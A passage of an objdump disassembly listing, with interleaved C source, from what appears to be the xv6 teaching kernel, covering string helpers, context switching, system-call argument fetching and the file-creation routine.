(c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 8010477d: 5b pop %ebx 8010477e: 89 d0 mov %edx,%eax 80104780: 5f pop %edi 80104781: 5d pop %ebp 80104782: c3 ret 80104783: 90 nop 80104784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c &= 0xFF; 80104788: 0f b6 7d 0c movzbl 0xc(%ebp),%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 8010478c: c1 e9 02 shr $0x2,%ecx 8010478f: 89 f8 mov %edi,%eax 80104791: 89 fb mov %edi,%ebx 80104793: c1 e0 18 shl $0x18,%eax 80104796: c1 e3 10 shl $0x10,%ebx 80104799: 09 d8 or %ebx,%eax 8010479b: 09 f8 or %edi,%eax 8010479d: c1 e7 08 shl $0x8,%edi 801047a0: 09 f8 or %edi,%eax asm volatile("cld; rep stosl" : 801047a2: 89 d7 mov %edx,%edi 801047a4: fc cld 801047a5: f3 ab rep stos %eax,%es:(%edi) } 801047a7: 5b pop %ebx 801047a8: 89 d0 mov %edx,%eax 801047aa: 5f pop %edi 801047ab: 5d pop %ebp 801047ac: c3 ret 801047ad: 8d 76 00 lea 0x0(%esi),%esi 801047b0 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 801047b0: 55 push %ebp 801047b1: 89 e5 mov %esp,%ebp 801047b3: 57 push %edi 801047b4: 56 push %esi 801047b5: 53 push %ebx 801047b6: 8b 5d 10 mov 0x10(%ebp),%ebx 801047b9: 8b 75 08 mov 0x8(%ebp),%esi 801047bc: 8b 7d 0c mov 0xc(%ebp),%edi const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 801047bf: 85 db test %ebx,%ebx 801047c1: 74 29 je 801047ec <memcmp+0x3c> if(*s1 != *s2) 801047c3: 0f b6 16 movzbl (%esi),%edx 801047c6: 0f b6 0f movzbl (%edi),%ecx 801047c9: 38 d1 cmp %dl,%cl 801047cb: 75 2b jne 801047f8 <memcmp+0x48> 801047cd: b8 01 00 00 00 mov $0x1,%eax 801047d2: eb 14 jmp 801047e8 <memcmp+0x38> 801047d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801047d8: 0f b6 14 06 movzbl (%esi,%eax,1),%edx 801047dc: 83 c0 01 add $0x1,%eax 801047df: 0f b6 4c 07 ff movzbl -0x1(%edi,%eax,1),%ecx 801047e4: 38 ca cmp %cl,%dl 801047e6: 75 10 jne 801047f8 <memcmp+0x48> while(n-- > 0){ 801047e8: 39 d8 cmp %ebx,%eax 801047ea: 75 ec jne 801047d8 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 801047ec: 5b pop %ebx return 0; 801047ed: 31 c0 xor %eax,%eax } 801047ef: 5e pop %esi 801047f0: 5f pop %edi 801047f1: 5d pop %ebp 801047f2: c3 ret 801047f3: 90 nop 801047f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return *s1 - *s2; 801047f8: 0f b6 c2 movzbl %dl,%eax } 801047fb: 5b pop %ebx return *s1 - *s2; 801047fc: 29 c8 sub %ecx,%eax } 801047fe: 5e pop %esi 801047ff: 5f pop %edi 80104800: 5d pop %ebp 80104801: c3 ret 80104802: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104810 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80104810: 55 push %ebp 80104811: 89 e5 mov %esp,%ebp 80104813: 56 push %esi 80104814: 53 push %ebx 80104815: 8b 45 08 mov 0x8(%ebp),%eax 80104818: 8b 5d 0c mov 0xc(%ebp),%ebx 8010481b: 8b 75 10 mov 0x10(%ebp),%esi const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 8010481e: 39 c3 cmp %eax,%ebx 80104820: 73 26 jae 80104848 <memmove+0x38> 80104822: 8d 0c 33 lea (%ebx,%esi,1),%ecx 80104825: 39 c8 cmp %ecx,%eax 80104827: 73 1f jae 80104848 <memmove+0x38> s += n; d += n; while(n-- > 0) 80104829: 85 f6 test %esi,%esi 8010482b: 8d 56 ff lea -0x1(%esi),%edx 8010482e: 74 0f je 8010483f <memmove+0x2f> *--d = *--s; 80104830: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 80104834: 88 0c 10 mov %cl,(%eax,%edx,1) while(n-- > 0) 80104837: 83 ea 01 sub $0x1,%edx 8010483a: 83 fa ff cmp $0xffffffff,%edx 8010483d: 75 f1 jne 80104830 <memmove+0x20> } else while(n-- > 0) *d++ = *s++; return dst; } 8010483f: 5b pop %ebx 80104840: 5e pop %esi 80104841: 5d pop %ebp 80104842: c3 ret 80104843: 90 nop 80104844: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(n-- > 0) 80104848: 31 d2 xor %edx,%edx 8010484a: 85 f6 test %esi,%esi 8010484c: 74 f1 je 8010483f <memmove+0x2f> 8010484e: 66 90 xchg %ax,%ax *d++ = *s++; 80104850: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 80104854: 88 0c 10 mov %cl,(%eax,%edx,1) 80104857: 83 c2 01 add $0x1,%edx while(n-- > 0) 8010485a: 39 d6 cmp %edx,%esi 8010485c: 75 f2 jne 80104850 <memmove+0x40> } 8010485e: 5b pop %ebx 8010485f: 5e pop %esi 80104860: 5d pop %ebp 80104861: c3 ret 80104862: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104870 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80104870: 55 push %ebp 80104871: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 80104873: 5d pop %ebp return memmove(dst, src, n); 80104874: eb 9a jmp 80104810 <memmove> 80104876: 8d 76 00 lea 0x0(%esi),%esi 80104879: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104880 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 80104880: 55 push %ebp 80104881: 89 e5 mov %esp,%ebp 80104883: 57 push %edi 80104884: 56 push %esi 80104885: 8b 7d 10 mov 0x10(%ebp),%edi 80104888: 53 push %ebx 80104889: 8b 4d 08 mov 0x8(%ebp),%ecx 8010488c: 8b 75 0c mov 0xc(%ebp),%esi while(n > 0 && *p && *p == *q) 8010488f: 85 ff test %edi,%edi 80104891: 74 2f je 801048c2 <strncmp+0x42> 80104893: 0f b6 01 movzbl (%ecx),%eax 80104896: 0f b6 1e movzbl (%esi),%ebx 80104899: 84 c0 test %al,%al 8010489b: 74 37 je 801048d4 <strncmp+0x54> 8010489d: 38 c3 cmp %al,%bl 8010489f: 75 33 jne 801048d4 <strncmp+0x54> 801048a1: 01 f7 add %esi,%edi 801048a3: eb 13 jmp 801048b8 <strncmp+0x38> 801048a5: 8d 76 00 lea 0x0(%esi),%esi 801048a8: 0f b6 01 movzbl (%ecx),%eax 801048ab: 84 c0 test %al,%al 801048ad: 74 21 je 801048d0 <strncmp+0x50> 801048af: 0f b6 1a movzbl (%edx),%ebx 801048b2: 89 d6 mov %edx,%esi 801048b4: 38 d8 cmp %bl,%al 801048b6: 75 1c jne 801048d4 <strncmp+0x54> n--, p++, q++; 801048b8: 8d 56 01 lea 0x1(%esi),%edx 801048bb: 83 c1 01 add $0x1,%ecx while(n > 0 && *p && *p == *q) 801048be: 39 fa cmp %edi,%edx 801048c0: 75 e6 jne 801048a8 <strncmp+0x28> if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 801048c2: 5b pop %ebx return 0; 801048c3: 31 c0 xor %eax,%eax } 801048c5: 5e pop %esi 801048c6: 5f pop %edi 801048c7: 5d pop %ebp 801048c8: c3 ret 801048c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801048d0: 0f b6 5e 01 movzbl 0x1(%esi),%ebx return (uchar)*p - (uchar)*q; 801048d4: 29 d8 sub %ebx,%eax } 801048d6: 5b pop %ebx 801048d7: 5e pop %esi 801048d8: 5f pop %edi 801048d9: 5d pop %ebp 801048da: c3 ret 801048db: 90 nop 801048dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801048e0 <strncpy>: char* strncpy(char *s, const char *t, int n) { 801048e0: 55 push %ebp 801048e1: 89 e5 mov %esp,%ebp 801048e3: 56 push %esi 801048e4: 53 push %ebx 801048e5: 8b 45 08 mov 0x8(%ebp),%eax 801048e8: 8b 5d 0c mov 0xc(%ebp),%ebx 801048eb: 8b 4d 10 mov 0x10(%ebp),%ecx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 801048ee: 89 c2 mov %eax,%edx 801048f0: eb 19 jmp 8010490b <strncpy+0x2b> 801048f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801048f8: 83 c3 01 add $0x1,%ebx 801048fb: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 801048ff: 83 c2 01 add $0x1,%edx 80104902: 84 c9 test %cl,%cl 80104904: 88 4a ff mov %cl,-0x1(%edx) 80104907: 74 09 je 80104912 <strncpy+0x32> 80104909: 89 f1 mov %esi,%ecx 8010490b: 85 c9 test %ecx,%ecx 8010490d: 8d 71 ff lea -0x1(%ecx),%esi 80104910: 7f e6 jg 801048f8 <strncpy+0x18> ; while(n-- > 0) 80104912: 31 c9 xor %ecx,%ecx 80104914: 85 f6 test %esi,%esi 80104916: 7e 17 jle 8010492f <strncpy+0x4f> 80104918: 90 nop 80104919: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi *s++ = 0; 80104920: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 80104924: 89 f3 mov %esi,%ebx 80104926: 83 c1 01 add $0x1,%ecx 80104929: 29 cb sub %ecx,%ebx while(n-- > 0) 8010492b: 85 db test %ebx,%ebx 8010492d: 7f f1 jg 80104920 <strncpy+0x40> return os; } 8010492f: 5b pop %ebx 80104930: 5e pop %esi 80104931: 5d pop %ebp 80104932: c3 ret 80104933: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104939: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104940 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104940: 55 push %ebp 80104941: 89 e5 mov %esp,%ebp 80104943: 56 push %esi 80104944: 53 push %ebx 80104945: 8b 4d 10 mov 0x10(%ebp),%ecx 80104948: 8b 45 08 mov 0x8(%ebp),%eax 8010494b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010494e: 85 c9 test %ecx,%ecx 80104950: 7e 26 jle 80104978 <safestrcpy+0x38> 80104952: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 80104956: 89 c1 mov %eax,%ecx 80104958: eb 17 jmp 80104971 <safestrcpy+0x31> 8010495a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 80104960: 83 c2 01 add $0x1,%edx 80104963: 0f b6 5a ff movzbl -0x1(%edx),%ebx 80104967: 83 c1 01 add $0x1,%ecx 8010496a: 84 db test %bl,%bl 8010496c: 88 59 ff mov %bl,-0x1(%ecx) 8010496f: 74 04 je 80104975 <safestrcpy+0x35> 80104971: 39 f2 cmp %esi,%edx 80104973: 75 eb jne 80104960 <safestrcpy+0x20> ; *s = 0; 80104975: c6 01 00 movb $0x0,(%ecx) return os; } 80104978: 5b pop %ebx 80104979: 5e pop %esi 8010497a: 5d pop %ebp 8010497b: c3 ret 8010497c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104980 <strlen>: int strlen(const char *s) { 80104980: 55 push %ebp int n; for(n = 0; s[n]; n++) 80104981: 31 c0 xor %eax,%eax { 80104983: 89 e5 mov %esp,%ebp 80104985: 8b 55 08 mov 0x8(%ebp),%edx for(n = 0; s[n]; n++) 80104988: 80 3a 00 cmpb $0x0,(%edx) 8010498b: 74 0c je 80104999 <strlen+0x19> 8010498d: 8d 76 00 lea 0x0(%esi),%esi 80104990: 83 c0 01 add $0x1,%eax 80104993: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 80104997: 75 f7 jne 80104990 <strlen+0x10> ; return n; } 80104999: 5d pop %ebp 8010499a: c3 ret 8010499b <swtch>: # a struct context, and save its address in *old. # Switch stacks to new and pop previously-saved registers. .globl swtch swtch: movl 4(%esp), %eax 8010499b: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 8010499f: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-saved registers pushl %ebp 801049a3: 55 push %ebp pushl %ebx 801049a4: 53 push %ebx pushl %esi 801049a5: 56 push %esi pushl %edi 801049a6: 57 push %edi # Switch stacks movl %esp, (%eax) 801049a7: 89 20 mov %esp,(%eax) movl %edx, %esp 801049a9: 89 d4 mov %edx,%esp # Load new callee-saved registers popl %edi 801049ab: 5f pop %edi popl %esi 801049ac: 5e pop %esi popl %ebx 801049ad: 5b pop %ebx popl %ebp 801049ae: 5d pop %ebp ret 801049af: c3 ret 801049b0 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 801049b0: 55 push %ebp 801049b1: 89 e5 mov %esp,%ebp 801049b3: 53 push %ebx 801049b4: 83 ec 04 sub $0x4,%esp 801049b7: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 801049ba: e8 41 ee ff ff call 80103800 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 801049bf: 8b 00 mov (%eax),%eax 801049c1: 39 d8 cmp %ebx,%eax 801049c3: 76 1b jbe 801049e0 <fetchint+0x30> 801049c5: 8d 53 04 lea 0x4(%ebx),%edx 801049c8: 39 d0 cmp %edx,%eax 801049ca: 72 14 jb 801049e0 <fetchint+0x30> return -1; *ip = *(int*)(addr); 801049cc: 8b 45 0c mov 0xc(%ebp),%eax 801049cf: 8b 13 mov (%ebx),%edx 801049d1: 89 10 mov %edx,(%eax) return 0; 801049d3: 31 c0 xor %eax,%eax } 801049d5: 83 c4 04 add $0x4,%esp 801049d8: 5b pop %ebx 801049d9: 5d pop %ebp 801049da: c3 ret 801049db: 90 nop 801049dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801049e0: b8 ff ff ff ff mov $0xffffffff,%eax 801049e5: eb ee jmp 801049d5 <fetchint+0x25> 801049e7: 89 f6 mov %esi,%esi 801049e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801049f0 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 801049f0: 55 push %ebp 801049f1: 89 e5 mov %esp,%ebp 801049f3: 53 push %ebx 801049f4: 83 ec 04 sub $0x4,%esp 801049f7: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 801049fa: e8 01 ee ff ff call 80103800 <myproc> if(addr >= curproc->sz) 801049ff: 39 18 cmp %ebx,(%eax) 80104a01: 76 29 jbe 80104a2c <fetchstr+0x3c> return -1; *pp = (char*)addr; 80104a03: 8b 4d 0c mov 0xc(%ebp),%ecx 80104a06: 89 da mov %ebx,%edx 80104a08: 89 19 mov %ebx,(%ecx) ep = (char*)curproc->sz; 80104a0a: 8b 00 mov (%eax),%eax for(s = *pp; s < ep; s++){ 80104a0c: 39 c3 cmp %eax,%ebx 80104a0e: 73 1c jae 80104a2c <fetchstr+0x3c> if(*s == 0) 80104a10: 80 3b 00 cmpb $0x0,(%ebx) 80104a13: 75 10 jne 80104a25 <fetchstr+0x35> 80104a15: eb 39 jmp 80104a50 <fetchstr+0x60> 80104a17: 89 f6 mov %esi,%esi 80104a19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104a20: 80 3a 00 cmpb $0x0,(%edx) 80104a23: 74 1b je 80104a40 <fetchstr+0x50> for(s = *pp; s < ep; s++){ 80104a25: 83 c2 01 add $0x1,%edx 80104a28: 39 d0 cmp %edx,%eax 80104a2a: 77 f4 ja 80104a20 <fetchstr+0x30> return -1; 80104a2c: b8 ff ff ff ff mov $0xffffffff,%eax return s - *pp; } return -1; } 80104a31: 83 c4 04 add $0x4,%esp 80104a34: 5b pop %ebx 80104a35: 5d pop %ebp 80104a36: c3 ret 80104a37: 89 f6 mov %esi,%esi 80104a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104a40: 83 c4 04 add $0x4,%esp 80104a43: 89 d0 mov %edx,%eax 80104a45: 29 d8 sub %ebx,%eax 80104a47: 5b pop %ebx 80104a48: 5d pop %ebp 80104a49: c3 ret 80104a4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(*s == 0) 80104a50: 31 c0 xor %eax,%eax return s - *pp; 80104a52: eb dd jmp 80104a31 <fetchstr+0x41> 80104a54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104a5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104a60 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104a60: 55 push %ebp 80104a61: 89 e5 mov %esp,%ebp 80104a63: 56 push %esi 80104a64: 53 push %ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104a65: e8 96 ed ff ff call 80103800 <myproc> 80104a6a: 8b 40 18 mov 0x18(%eax),%eax 80104a6d: 8b 55 08 mov 0x8(%ebp),%edx 80104a70: 8b 40 44 mov 0x44(%eax),%eax 80104a73: 8d 1c 90 lea (%eax,%edx,4),%ebx struct proc *curproc = myproc(); 80104a76: e8 85 ed ff ff call 80103800 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 80104a7b: 8b 00 mov (%eax),%eax return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104a7d: 8d 73 04 lea 0x4(%ebx),%esi if(addr >= curproc->sz || addr+4 > curproc->sz) 80104a80: 39 c6 cmp %eax,%esi 80104a82: 73 1c jae 80104aa0 <argint+0x40> 80104a84: 8d 53 08 lea 0x8(%ebx),%edx 80104a87: 39 d0 cmp %edx,%eax 80104a89: 72 15 jb 80104aa0 <argint+0x40> *ip = *(int*)(addr); 80104a8b: 8b 45 0c mov 0xc(%ebp),%eax 80104a8e: 8b 53 04 mov 0x4(%ebx),%edx 80104a91: 89 10 mov %edx,(%eax) return 0; 80104a93: 31 c0 xor %eax,%eax } 80104a95: 5b pop %ebx 80104a96: 5e pop %esi 80104a97: 5d pop %ebp 80104a98: c3 ret 80104a99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104aa0: b8 ff ff ff ff mov $0xffffffff,%eax return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104aa5: eb ee jmp 80104a95 <argint+0x35> 80104aa7: 89 f6 mov %esi,%esi 80104aa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104ab0 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80104ab0: 55 push %ebp 80104ab1: 89 e5 mov %esp,%ebp 80104ab3: 56 push %esi 80104ab4: 53 push %ebx 80104ab5: 83 ec 10 sub $0x10,%esp 80104ab8: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 80104abb: e8 40 ed ff ff call 80103800 <myproc> 80104ac0: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 80104ac2: 8d 45 f4 lea -0xc(%ebp),%eax 80104ac5: 83 ec 08 sub $0x8,%esp 80104ac8: 50 push %eax 80104ac9: ff 75 08 pushl 0x8(%ebp) 80104acc: e8 8f ff ff ff call 80104a60 <argint> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 80104ad1: 83 c4 10 add $0x10,%esp 80104ad4: 85 c0 test %eax,%eax 80104ad6: 78 28 js 80104b00 <argptr+0x50> 80104ad8: 85 db test %ebx,%ebx 80104ada: 78 24 js 80104b00 <argptr+0x50> 80104adc: 8b 16 mov (%esi),%edx 80104ade: 8b 45 f4 mov -0xc(%ebp),%eax 80104ae1: 39 c2 cmp %eax,%edx 80104ae3: 76 1b jbe 80104b00 <argptr+0x50> 80104ae5: 01 c3 add %eax,%ebx 80104ae7: 39 da cmp %ebx,%edx 80104ae9: 72 15 jb 80104b00 <argptr+0x50> return -1; *pp = (char*)i; 80104aeb: 8b 55 0c mov 0xc(%ebp),%edx 80104aee: 89 02 mov %eax,(%edx) return 0; 80104af0: 31 c0 xor %eax,%eax } 80104af2: 8d 65 f8 lea -0x8(%ebp),%esp 80104af5: 5b pop %ebx 80104af6: 5e pop %esi 80104af7: 5d pop %ebp 80104af8: c3 ret 80104af9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104b00: b8 ff ff ff ff mov $0xffffffff,%eax 80104b05: eb eb jmp 80104af2 <argptr+0x42> 80104b07: 89 f6 mov %esi,%esi 80104b09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104b10 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 80104b10: 55 push %ebp 80104b11: 89 e5 mov %esp,%ebp 80104b13: 83 ec 20 sub $0x20,%esp int addr; if(argint(n, &addr) < 0) 80104b16: 8d 45 f4 lea -0xc(%ebp),%eax 80104b19: 50 push %eax 80104b1a: ff 75 08 pushl 0x8(%ebp) 80104b1d: e8 3e ff ff ff call 80104a60 <argint> 80104b22: 83 c4 10 add $0x10,%esp 80104b25: 85 c0 test %eax,%eax 80104b27: 78 17 js 80104b40 <argstr+0x30> return -1; return fetchstr(addr, pp); 80104b29: 83 ec 08 sub $0x8,%esp 80104b2c: ff 75 0c pushl 0xc(%ebp) 80104b2f: ff 75 f4 pushl -0xc(%ebp) 80104b32: e8 b9 fe ff ff call 801049f0 <fetchstr> 80104b37: 83 c4 10 add $0x10,%esp } 80104b3a: c9 leave 80104b3b: c3 ret 80104b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104b40: b8 ff ff ff ff mov $0xffffffff,%eax } 80104b45: c9 leave 80104b46: c3 ret 80104b47: 89 f6 mov %esi,%esi 80104b49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104b50 <syscall>: [SYS_crsp] sys_crsp, }; void syscall(void) { 80104b50: 55 push %ebp 80104b51: 89 e5 mov %esp,%ebp 80104b53: 53 push %ebx 80104b54: 83 ec 04 sub $0x4,%esp int num; struct proc *curproc = myproc(); 80104b57: e8 a4 ec ff ff call 80103800 <myproc> 80104b5c: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 80104b5e: 8b 40 18 mov 0x18(%eax),%eax 80104b61: 8b 40 1c mov 0x1c(%eax),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104b64: 8d 50 ff lea -0x1(%eax),%edx 80104b67: 83 fa 15 cmp $0x15,%edx 80104b6a: 77 1c ja 80104b88 <syscall+0x38> 80104b6c: 8b 14 85 e0 79 10 80 mov -0x7fef8620(,%eax,4),%edx 80104b73: 85 d2 test %edx,%edx 80104b75: 74 11 je 80104b88 <syscall+0x38> curproc->tf->eax = syscalls[num](); 80104b77: ff d2 call *%edx 80104b79: 8b 53 18 mov 0x18(%ebx),%edx 80104b7c: 89 42 1c mov %eax,0x1c(%edx) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 80104b7f: 8b 5d fc mov -0x4(%ebp),%ebx 80104b82: c9 leave 80104b83: c3 ret 80104b84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%d %s: unknown sys call %d\n", 80104b88: 50 push %eax curproc->pid, curproc->name, num); 80104b89: 8d 43 6c lea 0x6c(%ebx),%eax cprintf("%d %s: unknown sys call %d\n", 80104b8c: 50 push %eax 80104b8d: ff 73 10 pushl 0x10(%ebx) 80104b90: 68 bd 79 10 80 push $0x801079bd 80104b95: e8 c6 ba ff ff call 80100660 <cprintf> curproc->tf->eax = -1; 80104b9a: 8b 43 18 mov 0x18(%ebx),%eax 80104b9d: 83 c4 10 add $0x10,%esp 80104ba0: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } 80104ba7: 8b 5d fc mov -0x4(%ebp),%ebx 80104baa: c9 leave 80104bab: c3 ret 80104bac: 66 90 xchg %ax,%ax 80104bae: 66 90 xchg %ax,%ax 80104bb0 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104bb0: 55 push %ebp 80104bb1: 89 e5 mov %esp,%ebp 80104bb3: 57 push %edi 80104bb4: 56 push %esi 80104bb5: 53 push %ebx struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80104bb6: 8d 75 da lea -0x26(%ebp),%esi { 80104bb9: 83 ec 34 sub $0x34,%esp 80104bbc: 89 4d d0 mov %ecx,-0x30(%ebp) 80104bbf: 8b 4d 08 mov 0x8(%ebp),%ecx if((dp = nameiparent(path, name)) == 0) 80104bc2: 56 push %esi 80104bc3: 50 push %eax { 80104bc4: 89 55 d4 mov %edx,-0x2c(%ebp) 80104bc7: 89 4d cc mov %ecx,-0x34(%ebp) if((dp = nameiparent(path, name)) == 0) 80104bca: e8 31 d3 ff ff call 80101f00 <nameiparent> 80104bcf: 83 c4 10 add $0x10,%esp 80104bd2: 85 c0 test %eax,%eax 80104bd4: 0f 84 46 01 00 00 je 80104d20 <create+0x170> return 0; ilock(dp); 80104bda: 83 ec 0c sub $0xc,%esp 80104bdd: 89 c3 mov %eax,%ebx 80104bdf: 50 push %eax 80104be0: e8 9b ca ff ff call 80101680 <ilock> if((ip = dirlookup(dp, name, 0)) != 0){ 80104be5: 83 c4 0c add $0xc,%esp 80104be8: 6a 00 push $0x0 80104bea: 56 push %esi 80104beb: 53 push %ebx 80104bec: e8 bf cf ff ff call 80101bb0 <dirlookup> 80104bf1: 83 c4 10 add $0x10,%esp 80104bf4: 85 c0 test %eax,%eax 80104bf6: 89 c7 mov %eax,%edi 80104bf8: 74 36 je 80104c30 <create+0x80> iunlockput(dp); 80104bfa: 83 ec 0c sub $0xc,%esp 80104bfd: 53 push %ebx 80104bfe: e8 0d cd ff ff call 80101910 <iunlockput> ilock(ip); 80104c03: 89 3c 24 mov %edi,(%esp) 80104c06: e8 75 ca ff ff call 80101680 <ilock> if(type == T_FILE && ip->type == T_FILE) 80104c0b: 83 c4 10 add $0x10,%esp 80104c0e: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp) 80104c13: 0f 85 97 00 00 00 jne 80104cb0 <create+0x100> 80104c19: 66 83 7f 50 02 cmpw $0x2,0x50(%edi) 80104c1e: 0f 85 8c 00 00 00 jne 80104cb0 <create+0x100> panic("create: dirlink"); iunlockput(dp); return ip; } 80104c24: 8d 65 f4 lea -0xc(%ebp),%esp 80104c27: 89 f8 mov %edi,%eax 80104c29: 5b pop %ebx 80104c2a: 5e pop %esi 80104c2b: 5f pop %edi 80104c2c: 5d pop %ebp 80104c2d: c3 ret 80104c2e: 66 90 xchg %ax,%ax if((ip = ialloc(dp->dev, type)) == 0) 80104c30: 0f bf 45 d4 movswl -0x2c(%ebp),%eax 80104c34: 83 ec 08 sub $0x8,%esp 80104c37: 50 push %eax 80104c38: ff 33 pushl (%ebx) 80104c3a: e8 d1 c8 ff ff call 80101510 <ialloc> 80104c3f: 83 c4 10 add $0x10,%esp 80104c42: 85 c0 test %eax,%eax 80104c44: 89 c7 mov %eax,%edi 80104c46: 0f 84 e8 00 00 00 je 80104d34 <create+0x184> ilock(ip); 80104c4c: 83 ec 0c sub $0xc,%esp 80104c4f: 50 push %eax 80104c50: e8 2b ca ff ff call 80101680 <ilock> ip->major = major; 80104c55: 0f b7 45 d0 movzwl -0x30(%ebp),%eax 80104c59: 66 89 47 52 mov %ax,0x52(%edi) ip->minor = minor; 80104c5d: 0f b7 45 cc movzwl -0x34(%ebp),%eax 80104c61: 66 89 47 54 mov %ax,0x54(%edi) ip->nlink = 1; 80104c65: b8 01 00 00 00 mov $0x1,%eax 80104c6a: 66 89 47 56 mov %ax,0x56(%edi) iupdate(ip); 80104c6e: 89 3c 24 mov %edi,(%esp) 80104c71: e8 5a c9 ff ff call 801015d0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80104c76: 83 c4 10 add $0x10,%esp 80104c79: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp) 80104c7e: 74 50 je 80104cd0 <create+0x120> if(dirlink(dp, name, ip->inum) < 0) 80104c80: 83 ec 04 sub $0x4,%esp 80104c83: ff 77 04 pushl 0x4(%edi) 80104c86: 56 push %esi 80104c87: 53 push %ebx 80104c88: e8 93 d1 ff ff call 80101e20 <dirlink> 80104c8d: 83 c4 10 add $0x10,%esp 80104c90: 85 c0 test %eax,%eax 80104c92: 0f 88 8f 00 00 00 js 80104d27 <create+0x177> iunlockput(dp); 80104c98: 83 ec 0c sub $0xc,%esp 80104c9b: 53 push %ebx 80104c9c: e8 6f cc ff ff call 80101910 <iunlockput> return ip; 80104ca1: 83 c4 10 add $0x10,%esp } 80104ca4: 8d 65 f4 lea -0xc(%ebp),%esp 80104ca7: 89 f8 mov %edi,%eax 80104ca9: 5b pop %ebx 80104caa: 5e pop %esi 80104cab: 5f pop %edi 80104cac: 5d pop %ebp 80104cad: c3 ret 80104cae: 66 90 xchg %ax,%ax 